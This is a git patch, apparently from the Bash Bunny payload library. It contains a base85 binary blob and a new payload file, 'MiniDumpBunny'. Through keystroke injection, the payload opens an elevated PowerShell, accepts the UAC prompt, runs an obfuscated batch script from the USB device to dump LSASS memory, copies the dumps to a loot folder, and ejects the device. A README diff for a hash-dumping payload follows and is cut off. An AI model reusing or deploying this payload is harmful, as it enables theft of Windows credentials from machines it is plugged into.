zhdSg-DLu6up8`Y$Rtn0V1lUHTb%b?D!=k65fBoWtqruCfmfIo zP^d`AALni;_wv_@5##9&zDYr&;wS+F>Q2+{8ns+)wL2zS3R!LX<Be4B;^?L!p@dV#A|Xm3qs7yC=t6uiN9$ zFFe&X?WUWnhvgrP<*)hkT!!jWh{HD%sP2g6GRB@VfI*3&Gxu3(*uy1Y+#glfG+VRF zp@FVmYWN7;OW-&7X#V%Ljv+z7EAYtCu@wCz`&d$g3P}0kIy?=PitdQdU&3VV?K_kO zpYc`7>h6AMx-Uury2vAaJ?mTC5%I3HK5naiiOZVx?EA^54C@7LrvW2SXR|D9Fp+sD z=4Hy5)h23G5)bHq7gxuFE~S>+#M%JFv1|8p`u+gxc&3k2@675}-k(F~m>2thN9utg zNPK1CB92 zxSz5#Df8ZDy*!s{qcE)T*RQqk+a_k|{BT4L-ctOjf!t?c2;WPdZYTMd3R#n`uVvaX zV__Cs6RA17QM~0ouQ2ywVR}GQ&{^0!M=#Cb+j%JsM6IfmUb5rxS*C2j*RVH6wql0m zW+%YVbD!>`aEt1zze!{I^16nnlWoddVJv&o`td3~K|KL&VWE7Z)^OcTF1Ev#i+6H@ zX#b4&BXe!|tRNjkcw3 zEap)@Y36r;2+!s9ggHurV+Wku zvN0^7=5ozFo3eWArAR9MtAkz>T24E_+NI6pZP~A#limtuSXSH@fQvr!ZBPye0<+yx z;ddD}t3B|SX^1nLl>9i-!OK2z{H#=KP~+_2d%NAJ)~}_a0a7H%x_=d5GoFeEa`nbG zTp3XFWt%Xre{mYeEpd{Ar>Jn{SjX?%(^+lcYuI#O%j&ChRI9Qrqm{-f4GC5`OnjJf zlGsJXo))0WV>1hWcH9UQ!!iGOM6(yMLsG*xz9qrkKE0*w|1GgdqLTT>rP^B`Ba+lI zLYpUjdwVB6&~rKSuv;55CF+OrM}!?-JaN(YXAlQF)i}}dN|%Obu`!Q~TM}@q3-`SR zf&-om|96lqJBZk*))79|Oi11WC{DC*v2w9;-mC?=_yqM#Rd7}VRwi_^KK-I+dk@Y| zg_Mo-b`s54ttaZ*y)|{lhR~HyWz{6O!m2ei_BhKB6MWLy{zRs6(iIhc-dDQ3u3BgP zz{*`_^!}vGeWkmW*1y6xWaP~*Zz41~)U27^+*x*V4)#j6KV?ncH9js5K_--(>P}U5 zPhGp$Yr4m`4{Ez|>V>gRoICM9yP+y@C>_=9M70j4Yw%zF-yC818cYCzsR;+LCtOC^_+1Xf1i|dp?(t3AK+Qj_r*iA3?DkkbPV_01Zi7d{R@aAG-Zjw z-h}&#BsnlS`DqW}I>)e#H53Fp>E9VP39=_8aI(=t(fMy>B|9EaCu8LkWb&njDcl3+ z++S259tH3Z0AG*FD)-k_aHs6az63`Y?l_%-seUrt^OBjBE+JH7i&#mOuT?d2AARAi zC8--%6&6-HswMKUWi(zMp$P^$e#FiqedsQ0K-lm$mTC@&)5?X%cVm)?erI@WSciG4 zrLe=4A!1IPm6T6-uHaXSPo~~ z(Cm`hEG%*WM|8gB^V5!n6a)SOGy6w!#Y9MmBaj&O&VT`wkbVFV+m+j3tqF&1OiCT| zCB;{|l}L6g`nA&fr6Z(a)j)T=J=P}x!WX0S-d`rhEo<`0g}Rz+Ejkf`Om46w28 z_GG@T*1w?HMMazi25hJyHChV3zbkkAVBNIJ+p05e-9UcIfap}IJdDFD#5fETnoSq% zWu&9+@8?aCH@UekeO7Ni=+5sR$iNvqN$ad&mxCtpf4ZP6hg<&sdbr?<^hOnACINFytocJm5Jp zW(S(WremO^#;~|GYTSwnB?GGS^J`$FLcc04*;C^3w zp-dDRXV)lGMXuKQqUFX^iq!Rl=A_9%J4gK}kcl&pfhG~TmN9mm@2XDpXpqzuAM4jZ z{z>awke#oNZkx7^yMG#KcQN^$tY+=G! zc$x{=eI)^48-Km!apObxscAoaLZUWcLuaO~5ZbM|{DF4IQtv^%^*S%?Jm8?oPEKU* zAQcWnqX|nIl55O=TC}SXVU(=Be06%=P(K}ZhhkacOYTjWmpmLz$vYe?WG%<~XJLq3 zud@IvGuGej6ha8*YJB4J2ql(SMr_Lww<`YhC$&RA5i8jK`em73QNa*$+#lBex?P35 zg_ux|DK8a;AR%&qIa<~SX80$A6ZmR4Ci2>+z-r>B7P#~#XxnrzoJgZBznvT3rI5Jj zwZ6;xI_%8)(NBRyBJel8ZqZVtQ@{b|#*cFi018I|I_fsv)X>mSA@=OEcn7O38hVXx zFTG7%ZqILf4j5Ugdjg41N`pyclF~>r$Mxf)3S2AcSS?lzzh zSz3k4C0Z8y)T%7~AQkQy`UIV$$WznZIXdNNBR40)y|E5LdHwb91_`%vphG+B>}pke zNAIhYm6OZux}ig2{Y#RJZDD5O4m>_^OIPL@{!u>t=qgn_!8X z4*t6`;x+xw7~onSC(bHQcZhS1dRl-fjGcW&JBa};C&eMWES#I$m{!=T%M{CuXI1dy}0Vab6>fj}UrzIiNA91~~v$*}z6MCQ1W*Ig)c;mTuO z(`80xaELBHPVeT>wAKIdYEq7I0wTP>0DOU*JppyZhGiH$cGokw&bI=_ovAC;SPH;{ z3g`!CXxqJgp;voexBTiy!}=$%kvGci}|cMlf=f5Npa+=Lg7K$3)*LXX*7@TTvP+jxHv|NCebY3&CE3dC&UaMO(7 z?4OTMHpS`i%a4ppZGz?HyVdR`aU5v;*F&a=aPNTqaQ`3Qu`}dA;x_KPOF@eMucD;m z&F57n^-=q=Le!}qZE&kUG(5{$`!0=2mr&~nk}*o0T@p~~T6{D`<@COZTX9aP;&tU7l@8Rfke5O>&3xPz7S>^OH9c2erT&AU?DRV6p! zQ;Rvsd%0Wb<-mKoan#B)_3yZ`*Fr~85(5nBHDR%Gmpv+@di#$H3TRS-d&sTZqS~K% zN42cNX;0}=i(McN{{0h^W?f`uNA=gFM7H738>lFqgP~Ql`)10WeJ{B~W;K8pT%hU6 zSO^k2^-&oTE^pRoLH^9iWuwYV#f4 z5fg3Bs!CG?IhMK8a$J-y0Q68fj2hXm`L&w-gJXGlg_H zP0>a^9@CKXR;*)6oMJ}QV`tC2M>-sTO6Cwrh6U6J;3EX|x9mz* zKKhYqcijZtATpDPTY|*pztKO@D9Amtv&-KfEiQqUe`J{RiXVZ8Adsqmy)BoMd>c*{ z>gMMb*i^&|M2unS!-HBcKJwYOjbe~h*Y-|@h2m0r;S_uh-!|Fc<9mC5d%9Ce6Wgef#4+ zQD!KuG4K+IQs29TZTz+EGt7X>)zA<-&&fwLVh2e7dS7(?kC+0YzW8M>Kmv0$k_fza z&&e(+8G#p1W)F@mGu@VhGs(F9=mX_ojGXb1EMRdla%z?!48vT?*G9O^q1|`TKA?R(RiwYH7 z<@^^NaPM?xm4$7d$X;WKg#Zi(AdDp40WTgN98@;Db7U)48A37PdhdQUb37JHid;BL zxkEvg&|%L$HWdbdqgK62nHX%@+*)^54?qHc%^+^eT{*k^q35&o!t>OITZ1kl?e~p| z22cQb0y%wZiBjJ#u8-Dv$1ikoRcTM+t(=uRep4`JR&ta`hH!$_TS}#9GVv(D#RAzr?xP z4WlS{zvEv3Z7R;{K44l@9x!pO0R*TylruYzgO9`+{mQ!Po^=gJhq~9s>>ni)>4Zr# zyRa4$>R3Q>%Fg1*`{-r&no}^>Q0idv^A>`{pP>`s=#512`ltd7&#(n7`Kc zV1yW2otRsNNxX$XTnd3_%?~d-ia&LNH!uKs38$?qs^;fgmW<->=5NXp2DL*l180|3 zt7mM+6{jj>E2}Rbq+<4+JF5(Wdx9aai0!IMi#YJAKQqtI67qX>j1p5Aa8^Gf`NP9O5))`n>Ip7Ag}k{RS#z#b(A=0-8*kQmziLU16M z5g=fxiEMLNj`!3BAK}@7JR(fay*ow3=KNK_X8@<3L1ZiY#%klUAf+v@&30(kHwO}P zXneC+!OGAj@mNf+^XFJvkyKmh0b1we~r=!>NHET=bVfZ^d4=#5H_!rj1h4>6N_2F8(TH5Kd zdZ4ozV*q+0zAJ!sv%!}`-s0vaH}t7dL0TG}m#wVv?w61-?wtwx_$fxHJT9O?_;za^ z^}s_CU+ofg2kN zs?!=OBq!eo#bg)uA^3Y2>7+;LS7YV#5RE{ZhN{bO2Vtgx_J5HN@zz7{hX8}XD1ph9 z6sZbjevtXb`BW|#evRs?3=0!9ukPkbw@@xSq+)WwO^dR9u-km%nwawucZ+Ydjhwk&)s>G_Q zqKG4kd~Gk6W#)ve7IL#(dozIS%V%}HFOu(@w=b%A5?N`H;Ykq7QCbYX?nXqy`c#($;NawQ|#J?!9P7^-V$hkD$RmW@nA zkYxx_Go0MqX6xC&)-_Hit|LkfxIkJh#FnEris)zZDO8kJ!i;AN%L-C`qK%{q%*x&Z z1HrTwjp*?%?>vB!rO^MLtxP^hm4WcwC@FL}EWU@^rGtu$k2fxFqk7DhKe7PyxJb-96~bbPgf5ib)x8HrIy#IJ4^O#t^Z~o0I2!Y_K)p} z(HcX65v6PWkMM3Jx*o6x^Z3>2=+ETE1DKd#}kJ z@^)fgy!DgqFa4dPuWz$b611=O$#a)bq_JtX`8PhS#8v+j8#A(fbsb;EYCx*_1t!CO zTronW*?k-#0aczUChR23ykGfhtxI$I2ScJ-hR6;M@VH_KW#Mi?5BI*IuM7NY#9whJ z#Vf+#<*h8n$984=!R4PSn&CYw@GpFv)>Bajn z^#{LUN7R3sB%`5Reshxn7#PDS5-3v3u^loyWH{-Yg3u%BRyY_$JtmrpA2tFNe_L!d&gfBP~QDB&6_gFU|Z1uVHt z())t@K_WMM8~O^)RURa|fVj>-ECtG~7;=`PeP6)o6?Mh@)+=h1>%Xs$sXoaYxiVkZ z?aKr8WiT;F;Qf9(33Tb--=Xy{@0iI)&nakSqv--Y1yR({`fGN}U0X(bzbcmwW^3zV zJPi^?Vca>=zJ>z4WG!mMgWFB=(^V4HLf45Q!6 zs5xO8J0>N!ySnc36#ORDQP0xiGD_{GKpa=I*`bD$Klt&fzbyqf{I1}i;F#LqogSmy zb>@BSew~~))S>8jWLTt)M?p@m-M=oc)f@z9X9!s@UOX z=9Fw-?mt<1lwGfEq@z+An$``YU*v4>UgC-ge60SBbSebV)Y7p~JH_A7^8LUi6x+R0 zD?WMjgpCb;8+EgI?mNp!`db_{>zs2*`8hWeHuT6&#zjQ{MmIz0xFfjB9J&M~=PV)?6A`M}##m;0Ok&N7uGfj4E{{Qc9C5<3EVW#zy-&mK(d3Z4fGWen$e z%Onq_E!(vO|2FBj z>lgZ=-4*q1t-5RFr?`RHvhi+IfWA?jOD?s$M$1>ojSDOxVA0whoUz~6{eqsIqo*3F z8hqBA)j1@+ci{jF7YSp9-N)N{sw+0JLDs2&w@i!_%~Zt&k4y?^#7eb)P%Bvi$+}Z4 z)mKU&%vnm@cxG?sv4{;aR!h?+n1(>tU#HI=SQx_hFRAlm*M7g$WR84(Zz4N-@rh%f`84FM_NLn-dl@7VV(|yd(j(iKHu5!;mklXG%ya?0PTV4CF zK4X34=5M^jAHcu-1?{Lw4Y_(E=&T2%&?P)^rDpkGmd&`M*M3aujM6~IkE=KeRkEfC?Q;>v^%-v9nUZ>B#6`<){B{Y$Die*t9U zHiY3V%PkaZ0qnw-+2r)r_Yl-d0b?mSa8D&*gD1b(cVRSbQWzv6XU%j)ocU!2SP~=# z+(ELbtdSQwO32GiTi$R=MX%FBk99`v?x(>_93RUInXE+^2@x3b$;~a^Dw^a^)WN^s zxfCM)L6PGWL+HNbkf+(6SPeOA0iu}AVR~U@Ebn5C z?dUVv%zg048Rxt|u}I=y@XQ0>n_mmvTBdi&zEfEjMOKL*?C=U|aA`IjKK7afaEmYLzJg`m2lcfQ^-}37hh0pH#uf~SSur{qdOg;Ean}Vd# zp3dz}Dm}~EhK{8WW=MSCkCFsEAuzyYwVstJ|K|(YBN}9QTMvlUR6YgMV=fS2o;jrPAW#Y6U#&O>5_Ww&%9T+_%FeiG+zI=#%?|_WFnuHybgLa z30Gp*WgRz}?n!}DP?6!s33yS?Q`F1Xyt9GlTI^pA0DmRmC^mK#n8F+lL4cUSfwtCFyj*uBR^3pp2~ zGnNhf&l{V1YT3W^!SrCFQgm>;mO1LXtIqHG3=LlXLT&{L4h$5IM@G5~$_jrovlzeL zw!ME_Be(CKZm#g3`S4E`;U`xXtza;)y?}qt4>vfF1;4=p%dLu1BIHi)a@RXX#k4HZ zot<>q%*hev$7^)Cl5Pie>1g4Slq4J=Oai_uJKdPDb(JeqPY2;8S$DPR_oo zP3f(F&}X8LQx1^%1HMRCfe%@;USB&IDap>CqWa`lu;5r_$4KY=ablj17k>PD?_vR@j;k?zqSlf%{Q@< z$i4b(m$kDm$#wSj-44H&{&|8WQ}0Bo_IroLyLKolN+wgYh9}xQF+0aGMZLa&5Qc}Y zN>}VOj($}DEuUv&V^abev0WY;v!56bAC+hIazBB2jNY#l@PEDuGU*=F@)PC zv51!qJ74qqtzFK*%t<9wxiFT5ue1Gm9dBR9sacL51SWiCDx9xY;hm6o!gedvd3uZTKMt3?H2n4az>i#?U(WuuR4pNW=1j@)fd4 zEG@~yu!Vn-Dp_*tTuoQj^o44D^y5HjZRef1(F*%|*$-fOwfNZBZ`#fM);zU$G9szB zrw~Gq8-++jLc%+&zAk#%LQ2WJEw>}BNAVH(PMnbGB4PNSl_O~Rdc+{ZDhE(UG!Btu zHyDFy1)dmU{3{7NVAy_uK~NVP(^RdCs=k(^YDS8G7Cw0eKyc^p z&NjJ-BGK{Bj!!Cn{^IxLQnut9bB{S8hR8!rWBF=7?If--P5t@kGqy=#zD$#NeXW&M3&!u_wHSBFK?Xf(qN&>kWCG_4*sI; z@~-nrY5&v@WYtp1jls}$ApO6NJOAtZgt*nZ3&->K&lYX}TwFd0nK9?P`eb(h==~bPw&19L$YGg=n*VccvjaRJbG!ri{vG61UOFJYGYv?YM=x~PPjir-?EJmonvbP;w=v$=CiB?x1CEk0CO1@|cU3 zDlx<{Jyjs9KV3?53Is)2LW86)nmk=n9ydvw4jW3Y^n4t6G} zv+cv&o}wQ84kS47O!$-J>H_sA#4UQ(eKLBspVZw2HI%P;*WXE9ug-eb~os#enA`!4A|1IwgGT~X1C0TQY+ZCR~Mi5H)b@Xcg zf?h$d)r*E5fop*GeMXXt9Yb$qI3ja($no4;c%U6sazSl($2(a4e>FLnJmN3IYU7Lm zuCbo~OWQ%vFs)dzF$vlg9yiEs36gmOvvS{YPNt~qGzta*s z_@=F`*VOjTnmq3KgRB0j2B6RSdp9cbUByV@nn3w(W$)D0c(NbOGijOK=BUt)@gT%O zQ3tI;RuP0UZ^wq}5=!`mj6z1@Caclo(UgZy-%h@Pz8hR)Xz^=QW=+wP4vx$PT|%)u zLZj2_mu~O`(ICD$DeTeI=DpQ%d2~)mRLh`PU%A=6top1yN9Vdk+4=OI$kK9+qP$_G zraE{X<$4m>uDoUSSz=FHHik^J>eGWx1%n=rEjoq0#5;VM7~1!K;bYKQmaPQ@i@qB} zm!(W)h98&BaU|C0sI6}-iIjNe`xcd}n0y@_NRHlL&ZM3$^AaBP+3%UTPA6)1ck`E; zsa1UCPw_Ny(QVs*iI!TpcQYinA1w;7G+4$AsCqP!N*3XZ1r(05Wlzmzs)BzkT9>4_ zFz0i~(pWm8(s!M;Q!B6!U3~XCbbj%4R2CcAhD34r%vTX+nXg{_t{rOPGa>~&jvYw? zgvot|O^%l0O!_lVynmR>pTs9k#>c|RUAYv03>Z+{?13EaVc0<`yt&Y^Er|Yn%W{(v2ZaHE5!eTCd_8zIi6(O0s`0}Rf30$2HwJIHE$j0@O65B!Bwn6AQ zv?Jk+wRB{7!PWxfyM1S8ag998+BuNNZ&$yMN3o1+Ul$Cd@5g6hk;>xXW6qlvdGH;$ zT6fTnxX0F#p3lmbU<#>bX(~n49j^8Ym|Cyy3+tCx+z^S~Z{^s<9wccc-C)?cj9*Vr ziagl%6s(omET>hqRiM z*X9N&tAD`-<9!}^>(n;n&)Z?GWF3M|{z+BEStcu;efWs zV+?z>KD@r_JbZY1`uWuVV3X_-fv>0@`KS;M<~o4cBxIFb$p(a`Hw&ucnCFDFA(F2h zIy+VZgAC@~Az#{64Dgp&M|pF}3z<(&8-!F@EONtRN?fbIj?Tn_C&()=qORiA(na>G z4o0IMt`k4XXuJxFk@{DofuKAwKr#ZBf^>p;q~6anF44jVTXh6_!MJFBkS{-I|7&Ky zCHG%nwjrfN?D8}v#qlnX5${8zQ!q}h**!(~ zd7V7~@buPVtw~DSw1`XD`JTV?e{4K&Ey!mn9asMWukRVYeaX;}eN1!#^;2A3XP5~$^zoY2(WITLmG*zZ{*rscFC`+mT`p{qoaj}0Xl~dkz!Ma-e z%G@Cu*j2n~yM;w6aWF=OnIuKR{v_u?AU~Vk)9yI�i*Az0%DBYdGncxW?j-vl5ig zYs7L<>1X$5dzM|@Xv^s&u4oN;9Av!+etPWf*b=Df05-l>6#`(2I==GC7P1a@a1_uP zlHTj_AarFh`FM|}_&%x`O$mXFbP0|sTOyhg&6u42-~(K>hufZaNX5W71$Py=ZJl@A zpB4Lrd}?bO>SemjGdmoskp!#Kt$|VeSL4~8JoQkaCS5cc?k?N-x_=#N?}4<=E*o$= zp4@!y@t_bL(yn0ZQfViP+lu>tRb6LTQ%$!GMJXzXqKF_7P`Z>Tf&z(1FM@(J1wxUg zAOrzvNl-e3-fNViG=mhWp-7b)>79T`@6C{ekQ?v!zTbWB`FrL$&pETttXXUAnLRie z3B^x7>G`7=+-*$#6i9Ucg~v|n?6Rg09~)tHvD-KAfNP#j>OhBRc4FMRocO`{-}Rt# z+08{Mj?YP5h|xEXUjcSH0>wfAG{Z>7nRzb%pl|84=TfzeN&vhF|2Z1k4XoeOM(|;| zsO{^Q(@qOaU^hSBG2HrZ?n9_@)^f=Sakc!`1D^APw4Rf+N&5ZQ|AJhGdhepHQf%+< z^sLEZB~Iq#!9lU;HDFe+(4QUsWZ^q-*rGxC2BS`+E0@_;+z0rw)5 z_CU54?Y(0A4Bsy^j*REJ@?o|Dr*_)cYp~uMV${IM`#0GrY6bI=bAEE@zo9A-k6M41_tV^8alKaC;TT z>9;N43ppdAcRnycgzBXCqAc(~+kE~us>#37U?I8-OHCq!+{|`el>TqBq8)>g$9DR7 za~|zviqw4SM8GXt z*IK&kYrRDeA#LyALwCn6%Q@*&&Mwek3ir=vOrKUAi4~^44sSZ=tA;0j?6E0V56BF8 z5dZ&dCo!v!ze4ao(GuS#ueva?%0SVrtxA*TSV#vO-}2PV<-^HG&&iq6( zXQQ@S6<#umUj64Ul+!7JcAgH9mxw?lx0JFoyl9h`z9$Gc3rHGA);`qeu~>U8TTnKV zKXxGWG2qf0nzS&SP47Fm*6V6f54y{nJ=kCOgm3Ka$^qDd8r*pYzkTu6mr3Gp;gez= z)y%xw{e@*%I(cO!H^$_}JK_AHPi(hnI!yl`RsR!uvd0C~j!)vVK8(nF{ax#0&bBc_ znDuoFreR{;@sWA}IqzWRJi4FZi@UBVH=OWEg)(8v9hqFDQGBY(>Cx-=f1R~i)L!-2 zbi($ImK;R%Q8BJYcmXVB8hqWQ(|y8%YIsn5YYg&fAsdYgHcD4Gu`;mP>yR4viSB^Z zl?N<5i|)tOBYGVhpPLDAj^I>C|B<{MpkaBllfPOHjLc)WEu$l99Dv=u?L+jTq+r{; z&61n?VF(h%#QtBGHtF%a)Exk$X*+a%M)baS!OHqqMdH|LMm->&d5#CL@SXK8gyLGI zzmhj|=i`{5w!zJQwv`<0WoY_m;DrON+z(FJ&WkHR)>UjR+Vg-i&4q1qRfc^}hL@+$u|@lOfw_#ASB~cr zw8ED^J06!LdQ~qKE_C7~%~!v(u51m;xZKGYuDp0KDOO~M!T)Ev$o2Py?5(Oapj$LV~(BVWV5E14@IsbEfIy}YDO~x zv~c%7|Ex5f>aNr)zQDR#@AQVX>2fJQ{c@WpMwo?xni2gFuTwRUoTngQ465U4 zT*4oz$~S8-#w*yDfF=gNFx}%lhv;7J#qpipFkc08*l(T#+*gWBr>FspNm=Dm5lXq2e4nfhG536xau;%7 zwAwjU5BgZH#9V>?51M57QqeXW^c7$g|BxKqTu%>^>+^q{;-%+6}|njm*(1lLd|f{V7%0dQ98+4ZI>I!Bo_nso&0QzctKgs zBvrgg98Sspnb`%=e`#DezBpd`T=iw)9oOea9C4R;utm+(SQV!iMrwB2mQ5?+jl5?? zLjuGtsSh_AI(jzkc;4ZmKxYJ^B{lR%aGZ$rpI~^Ff0Pd^GP64B&l-t*ZH`UCEBn9tc&4Tgg8wsRnrJn1c3$!Zu zP3BFG$HDuCKany&?j+CfAuYe{tzRKHEd7&3Oue3O0vO-U@0ck4EKA^_GhX1DUJH0! z=1@L3DB{5QqriDcg$WaW^q~6n+sH8F`V7#yLwm3uIyr18jCSoSrYxV@+1oPNOjyx! z{ohp#SmZQ^=$MdewH=V9-U|^sG}41YzNl@4*|8%e>JW8s*q?y!CgqCMmt#Zmb5lp=)buKF~_oAB}q-I~|^){3)d-g?vM!l1~B(PMSrwZVM^eR=PFO zf9Qu9A5BQlp%^kPh4mank2O%t?w12@pAX}(@=yq&V>JWw;O zw$GYe88vQwOZsN?I|O0FIBq-&_+)GZing={!6+toz`|{zHnqV2S6;>E3vnYM2>T4r08#9QJhSkby zfQrAp87XCQ8bgVucQ`g?Irwf~cv<~2Kd`ha_n>WHP z?~IPlIWm9H{*530QL#@fTS2*GMHSt<%E8@-8uNZXJUib;G-z(6o_ktipMjDx7XrEH zzFd`=9Jx{7%puCpEhvjc4^+76e&@-II%Ve};j5Ic+PJK4iRRXTA)V#^P>&t3-Y*yr?JZz#!}8rb#WO78b57TX2JJ zMUoAHzn8g2q^`bxhWpmL5qFPud1!fzLCdqL7hXwb&9g@0Wp8jJ8(u*0V;f~9Wcnj0S$P)dB2Ar(up z3G1G-3_X%&Aq#e$qMG#&kG9q`!bH8{Q^b9Wb$h7FU`V50dgX!luvVU9D%9BPfbdgvlLYr2k2RwSo{;hm@MTL*oS}%xQWpsB4FK-bq1-vMI9(p*s%0S=p=5m?CKCIEJNdaOD{SF z+J*6+^b`u^&(nZL`qxGQ;Wh53O)QtfTQk>MJG6k`IIgD~V&sxJ0)|=`={g_bk!a0uNNu&&NoR~p1u@^x^2 zLrc?pPi#aE?;M)lfeKRYO3FYjv-1|Y>6{@Ev%qoYxy}M;4=i1H!}L^3QTT3wqSBZe zA=u4U9e|eHPmrZk>*0lD4I3}U!4#wAFg z0e=>hK++(YJ}Tl$A>4mqHcviFP^oJ%Gfs95>=Ym>e`8*Cb-x4iH48~$z$d@C+t>3W z;nGrVU56UTS)lK0ylW!-d3q8e8&-Ps9DkL*#)T`z_YbB2c!2;;u%gyOX49zCq1=a! zBI9M8SLvL8{(fW1yX+(wAVL@|Q+~jG>R~%{%vvDrW&p=^blY)a<`ARd7XDUyqx~n% ziK+T95O9mA>y~GW65Z~D+}I4f5h+n?w5%~Z{!gR}5EcfSar_!JiTQg+XCfTBdhXC4 zd8B=F-o>a6$c|Am+Bh{Hs$TA-$g)9xSMWStwdRgnO!#skR%PI@8z;NhP&xqWY-r>F zHyvvS(EHG-wO>TPZj>eu@*%SZP_z1{D0iP^U7lqyxl5l4GV@FmX|KM`CZO{ZHdC+a z+x17AhYqy0Uo!cG%)OUO+?{Z@I6PdsBWbcM)hVP@l#8*RfU){Ur&f}sl;0hfp#Y+* zy9EiF6Vi}J>d&4Xfcvxdi5qIwMZaT=zo9C5IEVMq_h&0B0T{08g~T$`}`6f07$VE1c)CD$#>!5uKD2o|iTA33o7 zM0b{g+a<+b8h`LfxjR{gUfM|=@XjvShL0U5ub*y0szsgI_wF-)qfAD0x}_I)S}$M0EIgcK zZf-mf#4}qdEkyp}>-gr5JGuGUuhVIid9Eka&ZX{c{y_D-MNlXB(R*Uyo$3%L9?{pL zMoqj=)tZ#egTJCj+PisLg9^sqiG4BQ$nvBV_17cz`3hhCGIQPHzgRmf3KDZ=nj=iG z{?K?%+odyD5e1M`!NmBpTxpLgcARZlGs$)+L<1Pt=) zm8-)*NY3t5Q#J^slW6_ocq3-mihEl4kC71JwjrX+D?ii!#GxS?w3r57d6jO~zh)mX z_kN8GdBn&gdSGg|aW{A<_toX=p8klV`xh&nS=I>w5;^5C&&Xs47ShKu+j*nSyS#*- z(fwn#Qbkw0=X9mA*Pifi^WOHNLU3u}rubz)h6mVl0rMWvjtFV|tUqk*nxQ4hDRNZ3 zpYgmq3V>pn>d)}ks)n)oL7r|+q<9p{{qp1LT6SYW93%mP_uJ&cKmEq4o0lQqa+0s6 z3kbU2wKX^rGX4<+gMI?M^|dEw^UoZLg;iw}O(>6t;n zm_Fw7FQ7izLuc$H1M?r>$!;O;Hqv5Qhx|L|a$y*E270B6 zxjAJ^{iIyVr8a}1%o?4B)2=fPC%<|%pB0o`u1;y|)-M!y0yPTU^9eG#xWKZXCv`J} z=8^@VNNNkoFIF9fx2@PF?g<7IEkwFuH{^qNPR>D<1Sz*nS6jvDa=<)jl{nPnF*6tu9dTuky@c2opjW3^C^sxRxE=qTsi+{lZ znODl2(pVs|<*-!q-h=3H2NiD%ck6q zH4>o~`e$}2ea~28@5P+bY$yrkZFh$^?&gsDZP!B%TYdEV2+>LzecFDRTT9V_itFal zN&XlAtm+ALy2RgVC2lD-k1baIn6uI*uk%D#XL3C7&$wwFeMMNiDJb_2Tlx0>7eni~ z)-Wg|3IL8(vtkrcD5a;ZyAIyzX{!mMNFerE({|QB+mMZxYP-kFe;a23DW{?E*N@=a zCZ%Z)waFx_4;)Sc`%uO$dSP^I!xz4a6^UF$yQ6H19#$h?UISIQi>qsD#aTbf{1(Xfuv zF`qL5qV@)D4(;ejQ+#jfqw4;pNh&=LT^E7%Zje2#sOhkzdL(FSw`*dv232w#o3k6VGAq11!o=xBKv=)A z4DTVur`c~5flhBZJR@p0QZn?Py)u9l<2kssU(Oy5f?7`Uqk=hn%!s<#(-IyKm5DBI z37NR9B)7EB*b^D+la(WQbHWO=J84ioVC9()zZ0CrFi&?+tW%Y!++G5UM&UGSUE@0! z&IhYiX9!iSocySlGKe>ruagkQhScGzfSInp7)BN3*ZfLLbxOkS<&~Vb5d7YRcxd}! zEAVhZsAztXS-?aSaT0U)LNZR!Y&3YHCgWyn^evsnydHlGUx)~G=0pgtxIT|9i|=#O zC8+ETkxIBtXKu5Mc^*ccA=wT%nfJG~-i!T{OTgv0XAk%TrQt9i@OOuCB7r~h(eg<~ z4NJW+Wzf!KbP4t&!p;2#-UjP$)DUWtU^D_gmUl`Pxo>#vbP5u2^dj~^&Muf{XS zT54eQt2nOPncs)73Pb7ULoq`9(3ZL`-tv4}_&6r^KBfymQyOT1)+LR(TW%qd)$8T& zJ9yfPV^KfRKz)xWd?ml|{4IqJuBxOqRo8AG zypLo|*7Ix4?(%_w@eUW9VO(!FQ@=jCs0#;I#HchT#6i26oAnqgTw7<^TWfuU)=p|_ z{uH054Y}Gw&8Ghsolc|jj+-0HD;eFghGp<8bgUwduO`(4c2qDD3s>k;Yp~R#{q4vn zzAM6zk(@pLiNkjN&l}_i?wLyqw^vfsQyS#d1F&9a^OwthQ3|(Deq%`i0xoCGS|db2 z^o)mR7EifB49SbjAA5@xO3rILRfNwTbm!WoiKXuu+94J^bN>fdv546@+!EYcp_^5Xg<+RR! zXbr@c3=rPEcqmWJXZaoEz9@W@T1n6&@^_!9ET53{@KMen16B-tXkLGu55MrMM`xU$NT@;lt+>OY(D3-uf%N)0wqK= z8#S|cm(!&C7ibit`|I1Ps5Sq$4fi$-ecAzM_Kdir`)f8BzdegOf$)uBFTx7)gZ>(! NT55W#n1@#H{|Cd=bv^(9 literal 0 HcmV?d00001 diff --git a/payloads/library/credentials/MiniDumpBunny/payload.txt b/payloads/library/credentials/MiniDumpBunny/payload.txt new file mode 100644 index 00000000..2fc58a03 --- /dev/null +++ b/payloads/library/credentials/MiniDumpBunny/payload.txt @@ -0,0 +1,43 @@ +#!/bin/bash +# +# Title: MiniDumpBunny +# Description: Dump lsass with this script, which was obfuscated with multiple layers. +# Author: 0iphor13 +# Version: 1.0 +# Category: Credentials +# Attackmodes: HID, Storage + +LED SETUP + +Q DELAY 500 + +GET SWITCH_POSITION +DUCKY_LANG de + +Q DELAY 500 + +ATTACKMODE HID STORAGE + +#LED STAGE1 - DON'T EJECT - PAYLOAD RUNNING + +LED STAGE1 + +Q DELAY 1000 +RUN WIN "powershell Start-Process powershell -Verb runAs" +Q ENTER +Q DELAY 1000 +Q ALT j +Q DELAY 250 + +Q DELAY 250 +Q STRING "iex((gwmi win32_volume -f 'label=''BashBunny''').Name+'\payloads\\$SWITCH_POSITION\MiniBunny.bat')" +Q DELAY 250 +Q STRING " ;mv *.dmp ((gwmi win32_volume -f 'label=''BashBunny''').Name+'\loot');\$bb = (gwmi win32_volume -f 'l" +Q DELAY 250 +Q STRING "abel=''BashBunny''').Name;Start-Sleep 1;New-Item -ItemType file \$bb'DONE';(New-Object -comObject Shell.Application).Nam" +Q DELAY 250 +Q STRING "espace(17).ParseName(\$bb).InvokeVerb('Eject');Start-Sleep -s 5;Exit" +Q DELAY 300 +Q ENTER + +LED FINISH \ No newline at end of file From d5c1f5d03770fdf3620a920fa5afe0ec13289b7b Mon Sep 17 00:00:00 2001 From: 0iphor13 <79219148+0iphor13@users.noreply.github.com> Date: Mon, 4 Apr 2022 12:55:58 +0200 Subject: [PATCH 42/59] Update README.md added disclaimer --- payloads/library/credentials/HashDumpBunny/README.md | 3 ++- 1 file changed, 2 insertions(+), 1 deletion(-) diff --git a/payloads/library/credentials/HashDumpBunny/README.md b/payloads/library/credentials/HashDumpBunny/README.md index f2b9c89a..b1460dd5 100644 --- a/payloads/library/credentials/HashDumpBunny/README.md +++ b/payloads/library/credentials/HashDumpBunny/README.md @@ -9,7 +9,8 @@ Version: 1.0 This payload will run an obfuscated script to dump user hashes. If you don't trust this obfuscated .bat file, you should run it within a save space first - which should be best practice anyways ;-) # - +**!Depending on your 